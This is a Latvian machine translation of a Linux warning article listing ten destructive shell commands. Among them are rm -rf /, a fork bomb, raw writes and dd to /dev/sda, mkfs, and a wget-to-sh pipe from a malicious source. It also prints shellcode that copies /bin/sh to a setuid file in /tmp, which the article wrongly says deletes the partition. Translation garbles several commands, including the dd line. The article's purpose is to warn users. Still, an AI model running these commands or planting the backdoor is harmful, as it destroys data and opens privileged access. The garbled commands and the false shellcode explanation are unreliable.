10 visbīstamākās komandas - jums nekad nevajadzētu izpildīt operētājsistēmā Linux


Linux komandrinda ir produktīva, noderīga un interesanta, bet dažreiz tā var būt ļoti bīstama, īpaši, ja neesat pārliecināts, ko darāt. Šis raksts nav paredzēts, lai jūs dusmotu par Linux vai Linux komandrindu. Mēs tikai vēlamies jūs informēt par dažām komandām, kuras jums vajadzētu pārdomāt, pirms tās izpildāt.

1. rm -rf komanda

Komanda rm -rf ir viens no ātrākajiem veidiem, kā izdzēst mapi un tās saturu. Bet neliela kļūda vai nezināšana var izraisīt neatgūstamus sistēmas bojājumus. Dažas opcijas, ko izmanto ar komandu rm, ir.

  1. failu dzēšanai tiek izmantota Linux komanda rm.
  2. komanda rm -r izdzēš mapi rekursīvi, pat tukšo mapi.
  3. Komanda rm -f bez vaicājuma noņem failu “Tikai lasāms”.
  4. rm -rf /: piespiedu kārtā izdzēst visu saknes direktorijā.
  5. rm -rf *: piespiedu kārtā izdzēst visu pašreizējā direktorijā/darba direktorijā.
  6. rm -rf. : Piespiež dzēst pašreizējo mapi un apakšmapes.

Tāpēc esiet piesardzīgs, izpildot komandu rm -rf. Lai pārvarētu nejaušu faila dzēšanu ar komandu “rm”, failā “.bashrc” izveidojiet komandas “rm” aizstājvārdu kā “rm -i”, tā lūgs apstiprināt katru dzēšanu.

2.:() {: |: &} ;: komanda

Iepriekš minētais faktiski ir dakšu bumba. Tas darbojas, definējot funkciju ar nosaukumu ‘:’, kas sevi sauc divreiz, vienu reizi priekšplānā un reizi fonā. Tas turpina izpildīt atkal un atkal, līdz sistēma sasalst.

:(){:|:&};:

3. komanda>/dev/sda

Iepriekš minētā komanda ieraksta “komandas” izvadi uz bloku/dev/sda. Iepriekš minētā komanda raksta neapstrādātus datus, un visi faili blokā tiks aizstāti ar neapstrādātiem datiem, tādējādi pilnībā zaudējot datus par bloku.

4. mv mape/dev/null

Iepriekš minētā komanda pārvietos ‘mapi’ uz/dev/null. Operētājsistēmā Linux/dev/null vai null ierīce ir īpašs fails, kas izmet visus tajā ierakstītos datus un ziņo, ka rakstīšanas darbība ir veiksmīga.

# mv /home/user/* /dev/null

Iepriekš minētā komanda pārvietos visu lietotāja direktorijas saturu uz/dev/null, kas burtiski nozīmē visu, kas tur tika nosūtīts uz blackhole (null).

5. wget http:// ļaunprātīgs_avots -O- | sh

Iepriekš minētā komanda lejupielādēs skriptu no ļaunprātīga avota un pēc tam to izpildīs. Wget komanda lejupielādēs skriptu, un sh izpildīs lejupielādēto skriptu.

Piezīme. Jums ļoti jāzina avots, no kura lejupielādējat paketes un skriptus. Izmantojiet tikai tos skriptus/lietojumprogrammas, kuras ir lejupielādētas no uzticama avota.

6. mkfs.ext3/dev/sda

Iepriekš minētā komanda formatēs bloku “sda”, un jūs noteikti zināsit, ka pēc iepriekš minētās komandas izpildes jūsu bloks (cietais disks) būs jauns, Pilnīgi jauns! Bez jebkādiem datiem, atstājot sistēmu neatjaunojamā stadijā.

7.> fails

Iepriekš minētā komanda tiek izmantota faila satura izskalošanai. Ja iepriekšminētā komanda tiek izpildīta ar kļūdu vai nezināšanu, piemēram, “> xt.conf”, tiks ierakstīts konfigurācijas fails vai jebkura cita sistēma vai konfigurācijas fails.

8. ^foo ^bārs

Šī komanda, kā aprakstīts mūsu 10 mazāk zināmās Linux komandās, tiek izmantota, lai rediģētu iepriekšējo palaišanas komandu, atkārtoti nerakstot visu komandu. Bet tas patiešām var būt apgrūtinoši, ja jūs neriskējāt rūpīgi pārbaudīt izmaiņas sākotnējā komandā, izmantojot komandu ^foo ^bar.

9. dd, ja =/dev/nejaušība =/dev/sda

Iepriekš minētā komanda iznīcinās bloku sda un blokā ierakstīs nejaušus nevēlamus datus. Protams! Jūsu sistēma būtu atstāta nekonsekventā un neatjaunojamā stadijā.

10. Slēpta komanda

Zemāk esošā komanda nav nekas cits kā pirmā komanda augšpusē (rm -rf). Šeit kodi ir paslēpti sešstūrī, lai nezinošu lietotāju varētu apmānīt. Palaižot zemāk esošo kodu savā terminālā, jūsu nodalījums tiks izdzēsts.

Šī komanda šeit parāda, ka draudi var būt slēpti un dažkārt tos parasti nevar noteikt. Jums jāapzinās, ko jūs darāt un kāds būtu rezultāts. Nekompilējiet/neizpildiet kodus no nezināma avota.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Piezīme. Neveiciet nevienu no iepriekš minētajām komandām savā Linux terminālā vai čaulā, kā arī drauga vai skolas datorā. Ja vēlaties tos pārbaudīt, palaidiet tos virtuālajā mašīnā. Jebkura konsekvence vai datu zudums iepriekš minētās komandas izpildes dēļ sabojās jūsu sistēmu, par ko nedz raksta autors, nedz Tecmint nav atbildīgi.

Tas pagaidām ir viss. Es drīz būšu šeit atkal ar vēl vienu interesantu rakstu, kuru jūs, cilvēki, labprāt lasīsit. Līdz tam sekojiet līdzi un sazinieties ar Tecmint. Ja jūs zināt kādas citas šādas bīstamās Linux komandas un vēlaties, lai mēs pievienotos sarakstam, lūdzu, pastāstiet mums, izmantojot komentāru sadaļu, un neaizmirstiet sniegt atsauksmes par vērtību.